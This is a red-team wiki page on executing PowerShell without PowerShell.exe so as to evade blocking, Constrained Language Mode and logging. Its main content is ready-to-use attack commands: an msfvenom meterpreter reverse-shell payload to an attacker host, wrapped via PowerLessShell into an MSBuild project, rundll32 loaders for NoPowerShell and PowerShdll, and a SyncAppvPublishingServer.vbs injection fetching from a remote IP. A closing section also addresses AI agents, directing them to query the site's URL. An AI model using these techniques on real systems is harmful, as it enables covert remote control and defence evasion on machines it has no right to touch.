# Powershell Without Powershell.exe

## Theory

PowerShell.exe primarily serves as a graphical interface for handling input and output, while the core functionality resides in the managed DLL[ **System.Management.Automation.dll**](https://learn.microsoft.com/en-us/dotnet/api/system.management.automation?view=powershellsdk-7.4.0). This DLL is responsible for creating and managing **runspaces**, which serve as isolated execution environments for PowerShell commands and scripts.

Since [runspaces](https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces?view=powershell-7.4) operate independently of **PowerShell.exe**, we can create a custom program to establish and control a runspace, allowing us to execute PowerShell code outside the standard PowerShell interface.

Alternatively, projects like [**NoPowerShell**](https://github.com/bitsadmin/nopowershell) completely reimplements common cmdlets in **C#**, bypassing the need for **PowerShell.exe** or **System.Management.Automation.dll**.

If you encounter a scenario where **PowerShell.exe is blocked** or [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) is enforced, but no strict application whitelisting is in place, alternative execution methods can still enable PowerShell execution.

## Practice

{% tabs %}
{% tab title="PowerLessShell" %}
[PowerLessShell](https://github.com/Mr-Un1k0d3r/PowerLessShell.git) is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.

```bash
#Generate a malisious powershell script
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

#Generate a .csproj with PowerLessShell
v4resk@kali$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

#Execute it on the target with MSBuild.exe
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
```

{% endtab %}

{% tab title="NoPowershell" %}
{% hint style="success" %}
NoPowerShell doesn't use`System.Management.Automation.dll` or RunSpaces, only native .NET libraries. **NoPowerShell** **directly implements cmdlet functionality**
{% endhint %}

[NoPowerShell](https://github.com/bitsadmin/nopowershell) is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms.

This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe:

```powershell
C:\Users\v4resk> rundll32 NoPowerShell.dll,main
```

{% endtab %}

{% tab title="PowerShdll" %}
We can load [PowerShdll](https://github.com/p3nt4/PowerShdll) with rundll32.exe to gain a shell

```bash
C:\Users\v4resk> rundll32.exe PowerShdll.dll,main
```

{% endtab %}

{% tab title="SyncAppvPublishingServer" %}
Windows 10 comes with SyncAppvPublishingServer.exe and SyncAppvPublishingServer.vbs that can be abused with code injection to execute powershell commands from a Microsoft signed script:

```bash
C:\Users\v4resk> SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"
```

{% endtab %}

{% tab title="C#" %}
Here's a C# code snippet that demonstrates creating a custom PowerShell runspace to execute commands:

{% code title="RunspacePoc.cs" %}

```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class Program
{
    static void Main()
    {
        string command = "Write-Output 'Hello from PowerShell'";

        using (Runspace runspace = RunspaceFactory.CreateRunspace())
        {
            runspace.Open();
            using (PowerShell ps = PowerShell.Create())
            {
                ps.Runspace = runspace;
                ps.AddScript(command);

                foreach (var result in ps.Invoke())
                {
                    Console.WriteLine(result);
                }
            }
        }
    }
}
```

{% endcode %}

To compile this code on Unix-based systems, we can use the following [mono](https://www.mono-project.com/download/stable/#download-lin) command to include the `System.Management.Automation.dll`:

{% hint style="info" %}
To include it in your Windows Visual Studio project or compile it on Linux, locate the DLL on Windows systems at:

`C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management`
{% endhint %}

```bash
mono-csc RunspacePoc.cs -r:System.Management.Automation.dll
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/powershell-without-powershell>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/weapon/code-execution/whithout-powershell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
